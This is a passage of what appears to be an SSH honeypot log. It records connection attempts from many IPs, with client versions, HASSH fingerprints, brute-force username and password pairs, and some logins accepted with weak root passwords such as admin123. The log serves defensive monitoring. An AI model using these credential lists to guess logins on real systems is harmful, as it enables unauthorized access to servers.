  "end_time": "2026-05-12T22:43:32.053055Z",
  "duration": "4.0",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "guest",
      "pass": "159753"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

213.209.159.56

2026-05-12 22:41:31.415468 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: ashlin

Record ID: 7a4de2056258

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.6s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "7a4de2056258",
  "src_ip": "213.209.159.56",
  "start_time": "2026-05-12T22:41:31.415468Z",
  "end_time": "2026-05-12T22:41:38.019619Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "ashlin",
      "pass": "ashlin"
    },
    {
      "user": "ashlin",
      "pass": "ashlin1"
    },
    {
      "user": "ashlin",
      "pass": "ashlin123"
    },
    {
      "user": "ashlin",
      "pass": "ashlin1234"
    },
    {
      "user": "ashlin",
      "pass": "ashlin12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.148.10.121

2026-05-12 22:39:53.446151 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fcf8667c04da

Client Version: SSH-2.0-Go

Engagement Duration: 0.2s

{
  "id": "fcf8667c04da",
  "src_ip": "45.148.10.121",
  "start_time": "2026-05-12T22:39:53.446151Z",
  "end_time": "2026-05-12T22:39:53.631190Z",
  "duration": "0.2",
  "version": "SSH-2.0-Go",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

218.149.235.152

2026-05-12 22:35:52.615812 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin

Record ID: b40bfec715b2

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 5.4s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "b40bfec715b2",
  "src_ip": "218.149.235.152",
  "start_time": "2026-05-12T22:35:52.615812Z",
  "end_time": "2026-05-12T22:35:58.064147Z",
  "duration": "5.4",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "admin",
      "pass": "admin@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-12 22:25:28.953805 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 09ec22596fee

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "09ec22596fee",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-12T22:25:28.953805Z",
  "end_time": "2026-05-12T22:25:30.777250Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

87.251.64.176

2026-05-12 22:18:10.830549 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support

Record ID: 0c3c87ec3ae2

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "0c3c87ec3ae2",
  "src_ip": "87.251.64.176",
  "start_time": "2026-05-12T22:18:10.830549Z",
  "end_time": "2026-05-12T22:18:12.638825Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.70.29.128

2026-05-12 22:16:31.171376 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / admin123

Record ID: b167b6fb76ad

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 9.4s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "b167b6fb76ad",
  "src_ip": "111.70.29.128",
  "start_time": "2026-05-12T22:16:31.171376Z",
  "end_time": "2026-05-12T22:16:40.594964Z",
  "duration": "9.4",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

107.135.117.245

2026-05-12 22:16:23.169979 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / admin123

Record ID: b37eaf0eb171

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 7.2s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "b37eaf0eb171",
  "src_ip": "107.135.117.245",
  "start_time": "2026-05-12T22:16:23.169979Z",
  "end_time": "2026-05-12T22:16:30.384882Z",
  "duration": "7.2",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

183.171.154.31

2026-05-12 22:16:20.305832 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7dbb8251864e

Client Version: Unknown

Engagement Duration: 9.5s

{
  "id": "7dbb8251864e",
  "src_ip": "183.171.154.31",
  "start_time": "2026-05-12T22:16:20.305832Z",
  "end_time": "2026-05-12T22:16:29.840931Z",
  "duration": "9.5",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

179.184.85.167

2026-05-12 22:01:32.506809 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: supervisor

Record ID: 569f48c2aa06

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 6.2s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "569f48c2aa06",
  "src_ip": "179.184.85.167",
  "start_time": "2026-05-12T22:01:32.506809Z",
  "end_time": "2026-05-12T22:01:38.660959Z",
  "duration": "6.2",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "supervisor",
      "pass": "987654321"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.112

2026-05-12 21:57:17.661952 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: admin

Record ID: 9b817ce3c97e

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "9b817ce3c97e",
  "src_ip": "2.57.121.112",
  "start_time": "2026-05-12T21:57:17.661952Z",
  "end_time": "2026-05-12T21:57:24.430352Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "admin",
      "pass": "karamel"
    },
    {
      "user": "admin",
      "pass": "kannan"
    },
    {
      "user": "admin",
      "pass": "kamasutr"
    },
    {
      "user": "admin",
      "pass": "kalinka"
    },
    {
      "user": "admin",
      "pass": "kalel"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.25

2026-05-12 21:56:26.862798 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user

Record ID: bf5a74742e54

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 6.8s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "bf5a74742e54",
  "src_ip": "2.57.121.25",
  "start_time": "2026-05-12T21:56:26.862798Z",
  "end_time": "2026-05-12T21:56:33.627757Z",
  "duration": "6.8",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "user",
      "pass": "01011963"
    },
    {
      "user": "user",
      "pass": "01011955"
    },
    {
      "user": "user",
      "pass": "0011"
    },
    {
      "user": "user",
      "pass": "zhua"
    },
    {
      "user": "user",
      "pass": "yorktown"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.46.255.86

2026-05-12 21:47:29.134152 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: support

Record ID: c4e154aa2402

Client Version: SSH-2.0-PuTTY_Release_0.83

Engagement Duration: 7.0s

HASSH Fingerprint: 57446c12547a668110aa237e5965e374

{
  "id": "c4e154aa2402",
  "src_ip": "193.46.255.86",
  "start_time": "2026-05-12T21:47:29.134152Z",
  "end_time": "2026-05-12T21:47:36.149465Z",
  "duration": "7.0",
  "version": "SSH-2.0-PuTTY_Release_0.83",
  "hassh": "57446c12547a668110aa237e5965e374",
  "attempts": [
    {
      "user": "support",
      "pass": "support"
    },
    {
      "user": "support",
      "pass": "123456"
    },
    {
      "user": "support",
      "pass": "abc123"
    },
    {
      "user": "support",
      "pass": "abcd123"
    },
    {
      "user": "support",
      "pass": "abcd1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

68.71.254.3

2026-05-12 21:47:15.291956 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 01eff3abcd26

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "01eff3abcd26",
  "src_ip": "68.71.254.3",
  "start_time": "2026-05-12T21:47:15.291956Z",
  "end_time": "2026-05-12T21:49:15.314390Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

196.203.231.220

2026-05-12 21:46:52.710977 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / aA123456

Record ID: 3fbc3c1b0add

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 7.5s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "3fbc3c1b0add",
  "src_ip": "196.203.231.220",
  "start_time": "2026-05-12T21:46:52.710977Z",
  "end_time": "2026-05-12T21:47:00.206592Z",
  "duration": "7.5",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "aA123456"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

180.129.72.13

2026-05-12 21:46:41.591333 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / aA123456

Record ID: 15334fac21e9

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 9.1s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "15334fac21e9",
  "src_ip": "180.129.72.13",
  "start_time": "2026-05-12T21:46:41.591333Z",
  "end_time": "2026-05-12T21:46:50.696933Z",
  "duration": "9.1",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "aA123456"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

101.13.4.124

2026-05-12 21:44:46.680197 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: b32da1ebbeff

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.9s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "b32da1ebbeff",
  "src_ip": "101.13.4.124",
  "start_time": "2026-05-12T21:44:46.680197Z",
  "end_time": "2026-05-12T21:44:51.578340Z",
  "duration": "4.9",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "pi",
      "pass": "pi"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

177.159.150.111

2026-05-12 21:36:30.879581 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: operator

Record ID: ddf26a4d479d

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.5s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "ddf26a4d479d",
  "src_ip": "177.159.150.111",
  "start_time": "2026-05-12T21:36:30.879581Z",
  "end_time": "2026-05-12T21:36:35.411074Z",
  "duration": "4.5",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "operator",
      "pass": "qwerty123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

67.201.35.147

2026-05-12 21:34:53.031487 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 769dc9dc3678

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "769dc9dc3678",
  "src_ip": "67.201.35.147",
  "start_time": "2026-05-12T21:34:53.031487Z",
  "end_time": "2026-05-12T21:36:53.053263Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}